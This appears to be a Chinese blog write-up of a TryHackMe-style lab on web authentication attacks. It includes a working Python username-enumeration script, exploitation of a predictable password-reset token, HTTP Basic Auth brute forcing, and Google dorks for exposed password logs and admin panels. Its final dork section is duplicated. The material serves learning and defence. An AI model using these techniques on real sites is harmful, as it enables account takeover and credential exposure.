准备重新把网站渗透相关的内容系统的并整合一遍

(有不对的地方欢迎指正)

枚举和爆破(Enumeration & Brute Force)

一般枚举和爆破出现在:身份验证(比如:用户名验证密码策略会话管理等)

准备工作

1.添加域名

sudo nano /etc/hosts

10.49.151.136    enum.thm

在这里插入图片描述

改完以后可以通过域名访问http://enum.thm

在这里插入图片描述

身份验证枚举

识别有效用户名

判断出有效用户名以后,可以便于进一步的密码爆破(其实就是平时写的用户名枚举漏洞,可以通过对一些不同账号的反馈来判断账号是否存在)

密码策略

了解目标应用程序的密码复杂性策略,便于后面生成相应合适的密码。

以下是一个类似于网站要求用户密码复杂性的代码例子

<?php
$password = $_POST['pass']; // Example1
$pattern = '/^(?=.*[A-Z])(?=.*\d)(?=.*[\W_]).+$/';

if (preg_match($pattern, $password)) {
    echo "Password is valid.";
} else {
    echo "Password is invalid. It must contain at least one uppercase letter, one number, and one symbol.";
}
?>

常见的枚举位置

注册页面

密码重置

登录时详细的错误的提示

数据泄露信息:某个网站被攻破后,数据库信息泄露出来多个平台传播

通过详细错误枚举用户

诱发详细错误

无效登录尝试

sql注入

文件包含、路径遍历

表单操作:比如说调整一些提交的表单的字段,触发验证错误

应用程序模糊:(这个不是很懂)应该就是像不同的部分发送意外输入,触发错误信息

枚举和爆破的作用

一般来说两者都会用到,用户枚举为有效爆破奠定基础

简单实践一下:
在这里插入图片描述
在这里插入图片描述

脚本测试

这边提供了一个用来测试邮箱是否有效的Python脚本

import requests
import sys

def check_email(email):
    url = 'http://enum.thm/labs/verbose_login/functions.php'  # Location of the login function
    headers = {
        'Host': 'enum.thm',
        'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With': 'XMLHttpRequest',
        'Origin': 'http://enum.thm',
        'Connection': 'close',
        'Referer': 'http://enum.thm/labs/verbose_login/',
    }
    data = {
        'username': email,
        'password': 'password',  # Use a random password as we are only checking the email
        'function': 'login'
    }

    response = requests.post(url, headers=headers, data=data)
    return response.json()

def enumerate_emails(email_file):
    valid_emails = []
    invalid_error = "Email does not exist"  # Error message for invalid emails

    with open(email_file, 'r') as file:
        emails = file.readlines()

    for email in emails:
        email = email.strip()  # Remove any leading/trailing whitespace
        if email:
            response_json = check_email(email)
            if response_json['status'] == 'error' and invalid_error in response_json['message']:
                print(f"[INVALID] {email}")
            else:
                print(f"[VALID] {email}")
                valid_emails.append(email)

    return valid_emails

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 script.py <email_list_file>")
        sys.exit(1)

    email_file = sys.argv[1]

    valid_emails = enumerate_emails(email_file)

    print("\nValid emails found:")
    for valid_email in valid_emails:
        print(valid_email)

字典下载位置

https://github.com/nyxgeek/username-lists/blob/master/usernames-top100/usernames_gmail.com.txt

触发

python script.py usernames_gmail.com.txt

在这里插入图片描述

基于用户密码重置的漏洞逻辑

常见的密码重置方法:邮件、基础问题、SMS短信验证重置

简单实践一下:

下面这个是靶场用来生成随机令牌的code

$token = mt_rand(100, 200);
$query = $conn->prepare("UPDATE users SET reset_token = ? WHERE email = ?");
$query->bind_param("ss", $token, $email);
$query->execute();

在这里插入图片描述

这边给了提示,会有个重置链接http://enum.thm/labs/predictable_tokens/reset_password.php?token=234

随便抓包跑一跑
在这里插入图片描述

用密码登录
在这里插入图片描述

利用http的基本身份认证

基本身份认证虽然安全性不强,但是很多比如路由器之类的常规设备经常用。

HTTP基本身份验证在RFC 7617中定义,它指定凭据(用户名和密码)应作为HTTP授权标头中的base64编码字符串传输。(因为base64不是加密方法,所以很容易被破解)

下面是一种http基本身份认证的轮询机制
在这里插入图片描述

The Authorization header format is as follows:

Authorization: Basic <credentials>    #<credentials>部分是username:password的base64编码

实践一下:

在这里插入图片描述
在这里插入图片描述

抓到一个包,是这个格式的

这边题目有提供字典,直接用
在这里插入图片描述
在这里插入图片描述

解密一下
在这里插入图片描述

登录成功

在这里插入图片描述

OSINT

OSINTOpen Source Intelligence(开源情报)的缩写,指从公开可用的信息源中收集、分析和利用情报的过程。

URL回溯

一些网站,可以返回并探索旧版本的网站,发现不再可见但可能仍徘徊在服务器上的文件和目录

这边讲到一个网址可以实践一下

https://archive.org/web

还说到了一个工具

https://github.com/tomnomnom/waybackurls

感觉这个工具看着很吊的样子,给定一个域名,它能从公开的网页历史存档服务(主要是 Wayback Machine,即互联网档案馆)中,提取出该域名所有已知的 URL 历史记录

Google Dork

可以熟悉一些搜索引擎的语法

site:example.com inurl:admin   #查找管理员面板

filetype:log "password" site:example.com   #挖掘带密码的日志文件

intitle:"index of" "backup" site:example.com  #发现备份目录

给定一个域名,它能从公开的网页历史存档服务(主要是 Wayback Machine,即互联网档案馆)中,提取出该域名所有已知的 URL 历史记录

Google Dork

可以熟悉一些搜索引擎的语法

site:example.com inurl:admin   #查找管理员面板

filetype:log "password" site:example.com   #挖掘带密码的日志文件

intitle:"index of" "backup" site:example.com  #发现备份目录
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐